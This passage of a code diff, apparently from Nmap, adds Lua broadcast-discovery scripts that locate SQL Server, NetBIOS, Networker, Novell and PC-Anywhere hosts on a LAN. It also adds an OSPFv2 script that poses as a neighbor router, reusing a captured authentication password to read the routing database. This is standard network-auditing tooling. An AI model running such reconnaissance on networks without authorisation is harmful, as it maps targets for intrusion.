+ end
+ condvar "signal"
+end
+
+---
+-- Gets a list of available interfaces based on link and up filters
+-- Interfaces are only added if they've got an ipv4 address
+--
+-- @param link string containing the link type to filter
+-- @param up string containing the interface status to filter
+-- @return result table containing tables of interfaces
+-- each interface table has the following fields:
+-- <code>name</code> containing the device name
+-- <code>address</code> containing the device address
+getInterfaces = function(link, up)
+ if( not(nmap.list_interfaces) ) then return end
+ local interfaces, err = nmap.list_interfaces()
+ local result = {}
+ if ( not(err) ) then
+ for _, iface in ipairs(interfaces) do
+ if ( iface.link == link and
+ iface.up == up and
+ iface.address ) then
+
+ -- exclude ipv6 addresses for now
+ if ( not(iface.address:match(":")) ) then
+ table.insert(result, { name = iface.device,
+ address = iface.address } )
+ end
+ end
+ end
+ end
+ return result
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function()
+
+ local DECODERFILE = "nselib/data/packetdecoders.lua"
+ local iface = nmap.get_interface()
+ local interfaces = {}
+
+ -- was an interface supplied using the -e argument?
+ if ( iface ) then
+ local iinfo, err = nmap.get_interface_info(iface)
+
+ if ( not(iinfo.address) ) then
+ return fail("The IP address of the interface could not be determined")
+ end
+
+ interfaces = { { name = iface, address = iinfo.address } }
+ else
+ -- no interface was supplied, attempt autodiscovery
+ interfaces = getInterfaces("ethernet", "up")
+ end
+
+ -- make sure we have at least one interface to start sniffing
+ if ( #interfaces == 0 ) then
+ return fail("Could not determine any valid interfaces")
+ end
+
+ -- load the decoders from file
+ local status, Decoders = loadDecoders(DECODERFILE)
+ if ( not(status) ) then return fail(Decoders) end
+
+ -- create a local table to handle instantiated decoders
+ local decodertab = { udp = {}, ether = {} }
+ local condvar = nmap.condvar(decodertab)
+ local threads = {}
+
+ -- start a thread for each interface to sniff
+ for _, iface in ipairs(interfaces) do
+ local co = stdnse.new_thread(sniffInterface, iface, Decoders, decodertab)
+ threads[co] = true
+ end
+
+ -- wait for all threads to finish sniffing
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then
+ threads[thread] = nil
+ end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ local out_outer = {}
+
+ -- create the results table
+ for proto, _ in pairs(decodertab) do
+ local out_inner = {}
+ for key, decoder in pairs(decodertab[proto]) do
+ table.insert( out_inner, decodertab[proto][key]:getResults() )
+ end
+ if ( #out_inner > 0 ) then
+ table.insert( out_outer, { name = proto, out_inner } )
+ end
+ end
+
+ table.sort(out_outer, function(a, b) return a.name < b.name end)
+ return stdnse.format_output(true, out_outer)
+
+end
diff --git a/scripts/broadcast-ms-sql-discover.nse b/scripts/broadcast-ms-sql-discover.nse
new file mode 100644
index 0000000..40c0bcb
--- /dev/null
+++ b/scripts/broadcast-ms-sql-discover.nse
@@ -0,0 +1,114 @@
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Discovers Microsoft SQL servers in the same broadcast domain.
+
+SQL Server credentials required: No (will not benefit from
+<code>mssql.username</code> & <code>mssql.password</code>).
+
+The script attempts to discover SQL Server instances in the same broadcast
+domain. Any instances found are stored in the Nmap registry for use by any
+other ms-sql-* scripts that are run in the same scan.
+
+In contrast to the <code>ms-sql-discover</code> script, the broadcast version
+will use a broadcast method rather than targeting individual hosts. However, the
+broadcast version will only use the SQL Server Browser service discovery method.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-ms-sql-discover
+-- nmap --script broadcast-ms-sql-discover,ms-sql-info --script-args=newtargets
+--
+-- @output
+-- | broadcast-ms-sql-discover:
+-- | 192.168.100.128 (WINXP)
+-- | [192.168.100.128\MSSQLSERVER]
+-- | Name: MSSQLSERVER
+-- | Product: Microsoft SQL Server 2000
+-- | TCP port: 1433
+-- | Named pipe: \\192.168.100.128\pipe\sql\query
+-- | [192.168.100.128\SQL2K5]
+-- | Name: SQL2K5
+-- | Product: Microsoft SQL Server 2005
+-- | Named pipe: \\192.168.100.128\pipe\MSSQL$SQL2K5\sql\query
+-- | 192.168.100.150 (SQLSRV)
+-- | [192.168.100.150\PROD]
+-- | Name: PROD
+-- | Product: Microsoft SQL Server 2008
+-- |_ Named pipe: \\192.168.100.128\pipe\sql\query
+--
+
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 - Added compatibility with changes in mssql.lua (Chris Woodbury)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+
+--- Adds a label and value to an output table. If the value is a boolean, it is
+-- converted to Yes/No; if the value is nil, nothing is added to the table.
+local function add_to_output_table( outputTable, outputLabel, outputData )
+
+ if outputData ~= nil then
+ if outputData == true then
+ outputData = "Yes"
+ elseif outputData == false then
+ outputData = "No"
+ end
+
+ table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
+ end
+
+end
+
+--- Returns formatted output for the given instance
+local function create_instance_output_table( instance )
+
+ local instanceOutput = {}
+
+ instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
+ add_to_output_table( instanceOutput, "Name", instance.instanceName )
+ if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end
+ if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
+ add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
+
+ return instanceOutput
+
+end
+
+action = function()
+
+ local host = { ip = "255.255.255.255" }
+ local port = { number = 1434, protocol = "udp" }
+
+ local status, result = mssql.Helper.DiscoverBySsrp(host, port, true)
+ if ( not(status) ) then return end
+
+ local scriptOutput = {}
+ for ip, instanceList in pairs(result) do
+ local serverOutput, serverName = {}, nil
+ target.add( ip )
+ for _, instance in ipairs( instanceList ) do
+ serverName = serverName or instance.serverName
+ local instanceOutput = create_instance_output_table( instance )
+ table.insert(serverOutput, instanceOutput)
+ end
+ serverOutput.name = string.format( "%s (%s)", ip, serverName )
+ table.insert( scriptOutput, serverOutput )
+ end
+
+ return stdnse.format_output( true, scriptOutput )
+
+end
diff --git a/scripts/broadcast-netbios-master-browser.nse b/scripts/broadcast-netbios-master-browser.nse
new file mode 100644
index 0000000..8bf6006
--- /dev/null
+++ b/scripts/broadcast-netbios-master-browser.nse
@@ -0,0 +1,67 @@
+local netbios = require "netbios"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local tab = require "tab"
+
+description = [[
+Attempts to discover master browsers and the domains they manage.
+]]
+
+---
+-- @usage
+-- nmap --script=broadcast-netbios-master-browser
+--
+-- @output
+-- | broadcast-netbios-master-browser:
+-- | ip server domain
+-- |_10.0.200.156 WIN2K3-EPI-1 WORKGROUP
+--
+
+-- Version 0.1
+-- Created 06/14/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+local function isGroup(flags) return ( (flags & 0x8000) == 0x8000 ) end
+
+action = function()
+
+ -- NBNS only works over ipv4
+ if ( nmap.address_family() == "inet6") then return end
+
+ local MASTER_BROWSER_DOMAIN = 0x1D
+ local STD_WORKSTATION_SERVICE = 0x00
+ local NBNAME = "\1\2__MSBROWSE__\2\1"
+ local BROADCAST_ADDR = "255.255.255.255"
+
+ local status, result = netbios.nbquery( { ip = BROADCAST_ADDR }, NBNAME, { multiple = true })
+ if ( not(status) ) then return end
+
+ local outtab = tab.new(3)
+ tab.addrow(outtab, 'ip', 'server', 'domain')
+
+ for _, v in ipairs(result) do
+ local status, names, _ = netbios.do_nbstat(v.peer)
+ local srv_name, domain_name
+ if (status) then
+ for _, item in ipairs(names) do
+ if ( item.suffix == MASTER_BROWSER_DOMAIN and not(isGroup(item.flags)) ) then
+ domain_name = item.name
+ elseif ( item.suffix == STD_WORKSTATION_SERVICE and not(isGroup(item.flags)) ) then
+ srv_name = item.name
+ end
+ end
+ if ( srv_name and domain_name ) then
+ tab.addrow(outtab, v.peer, srv_name, domain_name)
+ else
+ stdnse.debug3("No server name or domain name was found")
+ end
+ end
+ end
+ return "\n" .. tab.dump(outtab)
+end
diff --git a/scripts/broadcast-networker-discover.nse b/scripts/broadcast-networker-discover.nse
new file mode 100644
index 0000000..1b9110d
--- /dev/null
+++ b/scripts/broadcast-networker-discover.nse
@@ -0,0 +1,92 @@
+local nmap = require "nmap"
+local rpc = require "rpc"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Discovers EMC Networker backup software servers on a LAN by sending a network broadcast query.
+]]
+
+---
+-- @usage nmap --script broadcast-networker-discover
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-networker-discover:
+-- |_ 10.20.30.40
+--
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+local function Callit( host, port, program, protocol )
+
+ local results = {}
+ local portmap, comm = rpc.Portmap:new(), rpc.Comm:new('rpcbind', 2)
+
+ local status, result = comm:Connect(host, port)
+ if (not(status)) then
+ return false, result
+ end
+
+ comm.socket:set_timeout(10000)
+ status, result = portmap:Callit(comm, program, protocol, 2 )
+ if ( not(status) ) then
+ return false, result
+ end
+
+ while ( status ) do
+ local _, rhost
+ status, _, _, rhost, _ = comm:GetSocketInfo()
+ if (not(status)) then
+ return false, "Failed to get socket information"
+ end
+
+ if ( status ) then
+ table.insert(results, rhost)
+ end
+
+ status, result = comm:ReceivePacket()
+ end
+
+ comm:Disconnect()
+ return true, results
+end
+
+action = function()
+
+ local results = {}
+ local ip = ( nmap.address_family() == "inet" ) and "255.255.255.255" or "ff02::202"
+ local iface = nmap.get_interface()
+
+ -- handle problematic sends on OS X requiring the interface to be
+ -- supplied as part of IPv6
+ if ( iface and nmap.address_family() == "inet6" ) then
+ ip = ip .. "%" .. iface
+ end
+
+ for _, port in ipairs({7938,111}) do
+ local host, port = { ip = ip }, { number = port, protocol = "udp" }
+ local status
+ status, results = Callit( host, port, "nsrstat", "udp" )
+
+ -- warn about problematic sends on OS X requiring the interface to be
+ -- supplied as part of IPv6
+ if ( not(status) and results == "Portmap.Callit: Failed to send data" ) then
+ return stdnse.format_output(false, "Failed sending data, try supplying the correct interface using -e")
+ end
+
+ if ( status ) then
+ break
+ end
+ end
+
+ if ( "table" == type(results) and 0 < #results ) then
+ return stdnse.format_output(true, results)
+ end
+end
diff --git a/scripts/broadcast-novell-locate.nse b/scripts/broadcast-novell-locate.nse
new file mode 100644
index 0000000..610c376
--- /dev/null
+++ b/scripts/broadcast-novell-locate.nse
@@ -0,0 +1,78 @@
+local ipOps = require "ipOps"
+local srvloc = require "srvloc"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Attempts to use the Service Location Protocol to discover Novell NetWare Core Protocol (NCP) servers.
+]]
+
+---
+--
+--@output
+-- Pre-scan script results:
+-- | broadcast-novell-locate:
+-- | Tree name: CQURE-LABTREE
+-- | Server name: linux-l84t
+-- | Addresses
+-- |_ 192.168.56.33
+--
+--
+
+-- Version 0.1
+-- Created 04/26/2011 - v0.1 - created by Patrik Karlsson
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+function action()
+
+ local helper = srvloc.Helper:new()
+
+ local status, bindery = helper:ServiceRequest("bindery.novell", "DEFAULT")
+ if ( not(status) or not(bindery) ) then
+ helper:close()
+ return
+ end
+ bindery = bindery[1]
+ local srvname = bindery:match("%/%/%/(.*)$")
+
+ local status, attrib = helper:AttributeRequest(bindery, "DEFAULT", "svcaddr-ws")
+ helper:close()
+ attrib = attrib:match("^%(svcaddr%-ws=(.*)%)$")
+ if ( not(attrib) ) then return end
+
+ local attribs = stringaux.strsplit(",", attrib)
+ if ( not(attribs) ) then return end
+
+ local addrs = { name = "Addresses"}
+ local ips = {}
+ for _, attr in ipairs(attribs) do
+ local addr = attr:match("^%d*%-%d*%-%d*%-(........)")
+ if ( addr ) then
+ local ip = ipOps.str_to_ip(stdnse.fromhex(addr))
+
+ if ( not(ips[ip]) ) then
+ table.insert(addrs, ip)
+ ips[ip] = ip
+ end
+ end
+ end
+
+ local output = {}
+ local status, treename = helper:ServiceRequest("ndap.novell", "DEFAULT")
+ if ( status ) then
+ treename = treename[1]
+ treename = treename:match("%/%/%/(.*)%.$")
+ table.insert(output, ("Tree name: %s"):format(treename))
+ end
+ table.insert(output, ("Server name: %s"):format(srvname))
+ table.insert(output, addrs)
+
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/broadcast-ospf2-discover.nse b/scripts/broadcast-ospf2-discover.nse
new file mode 100644
index 0000000..ad3fca0
--- /dev/null
+++ b/scripts/broadcast-ospf2-discover.nse
@@ -0,0 +1,431 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local ospf = require "ospf"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local target = require "target"
+local os = require "os"
+local string = require "string"
+local table = require "table"
+
+local have_ssl, openssl = pcall(require,'openssl')
+
+description = [[
+Discover IPv4 networks using Open Shortest Path First version 2(OSPFv2) protocol.
+
+The script works by listening for OSPF Hello packets from the 224.0.0.5
+multicast address. The script then replies and attempts to create a neighbor
+relationship, in order to discover network database.
+
+If no interface was provided as a script argument or through the -e option,
+the script will fail unless a single interface is present on the system.
+]]
+
+---
+-- @usage
+-- nmap --script=broadcast-ospf2-discover
+-- nmap --script=broadcast-ospf2-discover -e wlan0
+--
+-- @args broadcast-ospf2-discover.md5_key MD5 digest key to use if message digest
+-- authentication is disclosed.
+--
+-- @args broadcast-ospf2-discover.router_id Router ID to use. Defaults to 0.0.0.1
+--
+-- @args broadcast-ospf2-discover.timeout Time in seconds that the script waits for
+-- hello from other routers. Defaults to 10 seconds, matching OSPFv2 default
+-- value for hello interval.
+--
+-- @args broadcast-ospf2-discover.interface Interface to send on (overrides -e). Mandatory
+-- if not using -e and multiple interfaces are present.
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-ospf2-discover:
+-- | Area ID: 0.0.0.0
+-- | External Routes
+-- | 192.168.24.0/24
+-- |_ Use the newtargets script-arg to add the results as targets
+--
+
+author = "Emiliano Ticci"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "discovery", "safe"}
+
+prerule = function()
+ if nmap.address_family() ~= "inet" then
+ stdnse.print_verbose("is IPv4 only.")
+ return false
+ end
+ if not nmap.is_privileged() then
+ stdnse.print_verbose("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+-- Script constants
+OSPF_ALL_ROUTERS = "224.0.0.5"
+OSPF_MSG_HELLO = 0x01
+OSPF_MSG_DBDESC = 0x02
+OSPF_MSG_LSREQ = 0x03
+OSPF_MSG_LSUPD = 0x04
+local md5_key, router_id
+
+-- Convenience functions
+local function fail(err) return stdnse.format_output(false, err) end
+
+-- Print OSPFv2 LSA Header packet details to debug output.
+-- @param hello OSPFv2 LSA Header packet
+local ospfDumpLSAHeader = function(lsa_h)
+ if 2 > nmap.debugging() then
+ return
+ end
+ stdnse.print_debug(2, "| LS Age: %s", lsa_h.age)
+ stdnse.print_debug(2, "| Options: %s", lsa_h.options)
+ stdnse.print_debug(2, "| LS Type: %s", lsa_h.type)
+ stdnse.print_debug(2, "| Link State ID: %s", lsa_h.id)
+ stdnse.print_debug(2, "| Advertising Router: %s", lsa_h.adv_router)
+ stdnse.print_debug(2, "| Sequence: 0x%s", lsa_h.sequence)
+ stdnse.print_debug(2, "| Checksum: 0x%s", lsa_h.checksum)
+ stdnse.print_debug(2, "| Length: %s", lsa_h.length)
+end
+
+-- Print OSPFv2 Database Description packet details to debug output.
+-- @param hello OSPFv2 Database Description packet
+local ospfDumpDBDesc = function(db_desc)
+ if 2 > nmap.debugging() then
+ return
+ end
+ stdnse.print_debug(2, "| MTU: %s", db_desc.mtu)
+ stdnse.print_debug(2, "| Options: %s", db_desc.options)
+ stdnse.print_debug(2, "| Init: %s", db_desc.init)
+ stdnse.print_debug(2, "| More: %s", db_desc.more)
+ stdnse.print_debug(2, "| Master: %s", db_desc.master)
+ stdnse.print_debug(2, "| Sequence: %s", db_desc.sequence)
+ if #db_desc.lsa_headers > 0 then
+ stdnse.print_debug(2, "| LSA Headers:")
+ for i, lsa_h in ipairs(db_desc.lsa_headers) do
+ ospfDumpLSAHeader(lsa_h)
+ if i < #db_desc.lsa_headers then
+ stdnse.print_debug(2, "|")
+ end
+ end
+ end
+end
+
+-- Print OSPFv2 Hello packet details to debug output.
+-- @param hello OSPFv2 Hello packet
+local ospfDumpHello = function(hello)
+ if 2 > nmap.debugging() then
+ return
+ end
+ stdnse.print_debug(2, "| Router ID: %s", hello.header.router_id)
+ stdnse.print_debug(2, "| Area ID: %s", ipOps.fromdword(hello.header.area_id))
+ stdnse.print_debug(2, "| Checksum: %s", hello.header.chksum)
+ stdnse.print_debug(2, "| Auth Type: %s", hello.header.auth_type)
+ if hello.header.auth_type == 0x01 then
+ stdnse.print_debug(2, "| Auth Password: %s", hello.header.auth_data.password)
+ elseif hello.header.auth_type == 0x02 then
+ stdnse.print_debug(2, "| Auth Crypt Key ID: %s", hello.header.auth_data.keyid)
+ stdnse.print_debug(2, "| Auth Data Length: %s", hello.header.auth_data.length)
+ stdnse.print_debug(2, "| Auth Crypt Seq: %s", hello.header.auth_data.seq)
+ end
+ stdnse.print_debug(2, "| Netmask: %s", hello.netmask)
+ stdnse.print_debug(2, "| Hello interval: %s", hello.interval)
+ stdnse.print_debug(2, "| Options: %s", hello.options)
+ stdnse.print_debug(2, "| Priority: %s", hello.prio)
+ stdnse.print_debug(2, "| Dead interval: %s", hello.router_dead_interval)
+ stdnse.print_debug(2, "| Designated Router: %s", hello.DR)
+ stdnse.print_debug(2, "| Backup Router: %s", hello.BDR)
+ stdnse.print_debug(2, "| Neighbors: %s", table.concat(hello.neighbors, ","))
+end
+
+-- Print OSPFv2 LS Request packet details to debug output.
+-- @param ls_req OSPFv2 LS Request packet
+local ospfDumpLSRequest = function(ls_req)
+ if 2 > nmap.debugging() then
+ return
+ end
+ for i, req in ipairs(ls_req.ls_requests) do
+ stdnse.print_debug(2, "| LS Type: %s", req.type)
+ stdnse.print_debug(2, "| Link State ID: %s", req.id)
+ stdnse.print_debug(2, "| Avertising Router: %s", req.adv_router)
+ if i < #ls_req.ls_requests then
+ stdnse.print_debug(2, "|")
+ end
+ end
+end
+
+-- Print OSPFv2 LS Update packet details to debug output.
+-- @param ls_upd OSPFv2 LS Update packet
+local ospfDumpLSUpdate = function(ls_upd)
+ stdnse.print_debug(2, "| Number of LSAs: %s", ls_upd.num_lsas)
+ for i, lsa in ipairs(ls_upd.lsas) do
+ -- Only Type 1 (Router-LSA) and Type 5 (AS-External-LSA) are supported at the moment
+ ospfDumpLSAHeader(lsa.header)
+ if lsa.header.type == 1 then
+ stdnse.print_debug(2, "| Flags: %s", lsa.flags)
+ stdnse.print_debug(2, "| Number of links: %s", lsa.num_links)
+ for j, link in ipairs(lsa.links) do
+ stdnse.print_debug(2, "| Link ID: %s", link.id)
+ stdnse.print_debug(2, "| Link Data: %s", link.data)
+ stdnse.print_debug(2, "| Link Type: %s", link.type)
+ stdnse.print_debug(2, "| Number of Metrics: %s", link.num_metrics)
+ stdnse.print_debug(2, "| 0 Metric: %s", link.metric)
+ if j < #lsa.links then
+ stdnse.print_debug(2, "|")
+ end
+ end
+ if i < #ls_upd.lsas then
+ stdnse.print_debug(2, "|")
+ end
+ elseif lsa.header.type == 5 then
+ stdnse.print_debug(2, "| Netmask: %s", lsa.netmask)
+ stdnse.print_debug(2, "| External Type: %s", lsa.ext_type)
+ stdnse.print_debug(2, "| Metric: %s", lsa.metric)
+ stdnse.print_debug(2, "| Forwarding Address: %s", lsa.fw_address)
+ stdnse.print_debug(2, "| External Route Tag: %s", lsa.ext_tag)
+ end
+ end
+end
+
+-- Send OSPFv2 packet to specified destination.
+-- @param interface Source interface to use
+-- @param ip_dst Destination IP address
+-- @param mac_dst Destination MAC address
+-- @param ospf_packet Raw OSPF packet
+local ospfSend = function(interface, ip_dst, mac_dst, ospf_packet)
+ local dnet = nmap.new_dnet()
+ local probe = packet.Frame:new()
+
+ probe.mac_src = interface.mac
+ probe.mac_dst = mac_dst
+ probe.ip_bin_src = ipOps.ip_to_str(interface.address)
+ probe.ip_bin_dst = ipOps.ip_to_str(ip_dst)
+ probe.l3_packet = ospf_packet
+ probe.ip_dsf = 0xc0
+ probe.ip_p = 89
+ probe.ip_ttl = 1
+
+ probe:build_ip_packet()
+ probe:build_ether_frame()
+
+ dnet:ethernet_open(interface.device)
+ dnet:ethernet_send(probe.frame_buf)
+ dnet:ethernet_close()
+end
+
+-- Prepare OSPFv2 packet header for reply.
+-- @param packet_in Source packet
+-- @param packet_out Destination packet
+local ospfSetHeader = function(packet_in, packet_out)
+ packet_out.header:setRouterId(router_id)
+ packet_out.header:setAreaID(packet_in.header.area_id)
+ if packet_in.header.auth_type == 0x01 then
+ packet_out.header.auth_type = 0x01
+ packet_out.header.auth_data.password = packet_in.header.auth_data.password
+ elseif packet_in.header.auth_type == 0x02 then
+ packet_out.header.auth_type = 0x02
+ packet_out.header.auth_data.key = md5_key
+ packet_out.header.auth_data.keyid = packet_in.header.auth_data.keyid
+ packet_out.header.auth_data.length = 16
+ packet_out.header.auth_data.seq = os.time()
+ end
+
+ return packet_out
+end
+
+-- Reply to OSPFv2 Database Description with an LS Request.
+-- @param interface Source interface
+-- @param mac_dst Destination MAC address
+-- @param db_desc_in OSPFv2 Database Description packet to reply for
+local ospfSendLSRequest = function(interface, mac_dst, db_desc_in)
+ local ls_req_out = ospf.OSPF.LSRequest:new()
+ ls_req_out = ospfSetHeader(db_desc_in, ls_req_out)
+
+ for i, lsa_h in ipairs(db_desc_in.lsa_headers) do
+ ls_req_out:addRequest(lsa_h.type, lsa_h.id, lsa_h.adv_router)
+ end
+
+ stdnse.print_debug(2, "Crafted OSPFv2 LS Request packet with the following parameters:")
+ ospfDumpLSRequest(ls_req_out)
+ ospfSend(interface, db_desc_in.header.router_id, mac_dst, tostring(ls_req_out))
+end
+
+-- Reply to given OSPFv2 Database Description packet.
+-- @param interface Source interface
+-- @param mac_dst Destination MAC address
+-- @param db_desc_in OSPFv2 Database Description packet to reply for
+local ospfReplyDBDesc = function(interface, mac_dst, db_desc_in)
+ local reply = false
+ local db_desc_out = ospf.OSPF.DBDescription:new()
+ db_desc_out = ospfSetHeader(db_desc_in, db_desc_out)
+
+ if db_desc_in.init == true then
+ db_desc_out.init = false
+ db_desc_out.more = db_desc_in.more
+ db_desc_out.master = false
+ db_desc_out.sequence = db_desc_in.sequence
+ reply = true
+ elseif #db_desc_in.lsa_headers > 0 then
+ ospfSendLSRequest(interface, mac_dst, db_desc_in)
+ return true
+ end
+
+ if reply then
+ stdnse.print_debug(2, "Crafted OSPFv2 Database Description packet with the following parameters:")
+ ospfDumpDBDesc(db_desc_out)
+ ospfSend(interface, db_desc_in.header.router_id, mac_dst, tostring(db_desc_out))
+ end
+
+ return reply
+end
+
+-- Reply to given OSPFv2 Hello packet sending another Hello to
+-- "All OSPF Routers" multicast address (224.0.0.5).
+-- @param interface Source interface
+-- @param hello_in OSPFv2 Hello packet to reply for
+local ospfReplyHello = function(interface, hello_in)
+ local hello_out = ospf.OSPF.Hello:new()
+ hello_out = ospfSetHeader(hello_in, hello_out)
+ hello_out.interval = hello_in.interval
+ hello_out.router_dead_interval = hello_in.router_dead_interval
+ hello_out:setDesignatedRouter(hello_in.header.router_id)
+ hello_out:setNetmask(hello_in.netmask)
+ hello_out:addNeighbor(hello_in.header.router_id)
+
+ stdnse.print_debug(2, "Crafted OSPFv2 Hello packet with the following parameters:")
+ ospfDumpHello(hello_out)
+
+ ospfSend(interface, OSPF_ALL_ROUTERS, "\x01\x00\x5e\x00\x00\x05", tostring(hello_out))
+end
+
+-- Listen for OSPF packets on a specified interface.
+-- @param interface Interface to use
+-- @param timeout Amount of time to listen in seconds
+local ospfListen = function(interface, timeout)
+ local status, l2_data, l3_data, ospf_raw, _
+ local start = nmap.clock_ms()
+
+ stdnse.print_debug("Start listening on interface %s...", interface.shortname)
+ local listener = nmap.new_socket()
+ listener:set_timeout(1000)
+ listener:pcap_open(interface.device, 1500, true, "ip proto 89 and not (ip src host " .. interface.address .. ")")
+ while (nmap.clock_ms() - start) < (timeout * 1000) do
+ status, _, l2_data, l3_data = listener:pcap_receive()
+ if status then
+ stdnse.print_debug(2, "Packet received on interface %s.", interface.shortname)
+ local p = packet.Packet:new(l3_data, #l3_data)
+ local ospf_raw = string.sub(l3_data, p.ip_hl * 4 + 1)
+ if ospf_raw:byte(1) == 0x02 and ospf_raw:byte(2) == OSPF_MSG_HELLO then
+ stdnse.print_debug(2, "OSPFv2 Hello packet detected.")
+
+ local ospf_hello = ospf.OSPF.Hello.parse(ospf_raw)
+ stdnse.print_debug(2, "Captured OSPFv2 Hello packet with the following parameters:")
+ ospfDumpHello(ospf_hello)
+
+ -- Additional checks required for message digest authentication
+ if ospf_hello.header.auth_type == 0x02 then
+ if not md5_key then
+ return fail("Argument md5_key must be present when message digest authentication is disclosed.")
+ elseif not have_ssl then
+ return fail("Cannot handle message digest authentication unless openssl is compiled in.")
+ end
+ end
+
+ ospfReplyHello(interface, ospf_hello)
+ start = nmap.clock_ms()
+ elseif ospf_raw:byte(1) == 0x02 and ospf_raw:byte(2) == OSPF_MSG_DBDESC then
+ stdnse.print_debug(2, "OSPFv2 Database Description packet detected.")
+
+ local ospf_db_desc = ospf.OSPF.DBDescription.parse(ospf_raw)
+ stdnse.print_debug(2, "Captured OSPFv2 Database Description packet with the following parameters:")
+ ospfDumpDBDesc(ospf_db_desc)
+
+ if not ospfReplyDBDesc(interface, string.sub(l2_data, 7, 12), ospf_db_desc) then
+ return
+ end
+ elseif ospf_raw:byte(1) == 0x02 and ospf_raw:byte(2) == OSPF_MSG_LSUPD then
+ stdnse.print_debug(2, "OSPFv2 LS Update packet detected.")
+
+ local ospf_ls_upd = ospf.OSPF.LSUpdate.parse(ospf_raw)
+ stdnse.print_debug(2, "Captured OSPFv2 LS Update packet with the following parameters:")
+ ospfDumpLSUpdate(ospf_ls_upd)
+
+ local targets = {}
+ for i, lsa in ipairs(ospf_ls_upd.lsas) do
+ -- Only Type 1 (Router-LSA) and Type 5 (AS-External-LSA) are supported at the moment
+ if lsa.header.type == 1 then
+ for j, link in ipairs(lsa.links) do
+ if link.type == 3 then
+ local target = link.id .. ipOps.subnet_to_cidr(link.data)
+ targets[target] = 1
+ end
+ end
+ elseif lsa.header.type == 5 then
+ local target = lsa.header.id .. ipOps.subnet_to_cidr(lsa.netmask)
+ targets[target] = 1
+ end
+ end
+ local output = stdnse.output_table()
+ if next(targets) then
+ local out_links = {}
+ output["Area ID"] = ipOps.fromdword(ospf_ls_upd.header.area_id)
+ output["External Routes"] = out_links
+ for t, _ in pairs(targets) do
+ table.insert(out_links, t)
+ if target.ALLOW_NEW_TARGETS then
+ target.add(t)
+ end
+ end
+ if not target.ALLOW_NEW_TARGETS then
+ stdnse.verbose("Use the newtargets script-arg to add the results as targets")
+ end
+ end
+ return output
+ end
+ end
+ end
+ listener:pcap_close()
+end
+
+action = function()
+ -- Get script arguments
+ md5_key = stdnse.get_script_args(SCRIPT_NAME .. ".md5_key") or false
+ router_id = stdnse.get_script_args(SCRIPT_NAME .. ".router_id") or "0.0.0.1"
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 10
+ local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ stdnse.print_debug("Value for router ID argument: %s.", router_id)
+ stdnse.print_debug("Value for timeout argument: %s.", timeout)
+
+ -- Determine interface to use
+ interface = interface or nmap.get_interface()
+ if interface then
+ interface = nmap.get_interface_info(interface)
+ if not interface then
+ return fail(("Failed to retrieve %s interface information."):format(interface))
+ end
+ stdnse.print_debug("Will use %s interface.", interface.shortname)
+ else
+ local interface_list = nmap.list_interfaces()
+ local interface_good = {}
+ for _, os_interface in ipairs(interface_list) do
+ if os_interface.address and os_interface.link == "ethernet" and
+ os_interface.address:match("%d+%.%d+%.%d+%.%d+") then
+
+ stdnse.print_debug(2, "Found usable interface: %s.", os_interface.shortname)
+ table.insert(interface_good, os_interface)
+ end
+ end
+ if #interface_good == 1 then
+ interface = interface_good[1]
+ stdnse.print_debug("Will use %s interface.", interface.shortname)
+ elseif #interface_good == 0 then
+ return fail("Source interface not found.")
+ else
+ return fail("Ambiguous source interface, please specify it with -e or interface parameter.")
+ end
+ end
+
+ return ospfListen(interface, timeout)
+end
diff --git a/scripts/broadcast-pc-anywhere.nse b/scripts/broadcast-pc-anywhere.nse
new file mode 100644
index 0000000..6e61460
--- /dev/null
+++ b/scripts/broadcast-pc-anywhere.nse
@@ -0,0 +1,72 @@
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Sends a special broadcast probe to discover PC-Anywhere hosts running on a LAN.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-pc-anywhere
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-pc-anywhere:
+-- |_ 10.0.200.113 - WIN2K3SRV-1
+--
+-- @args broadcast-pc-anywhere.timeout specifies the amount of seconds to sniff
+-- the network interface. (default varies according to timing. -T3 = 5s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
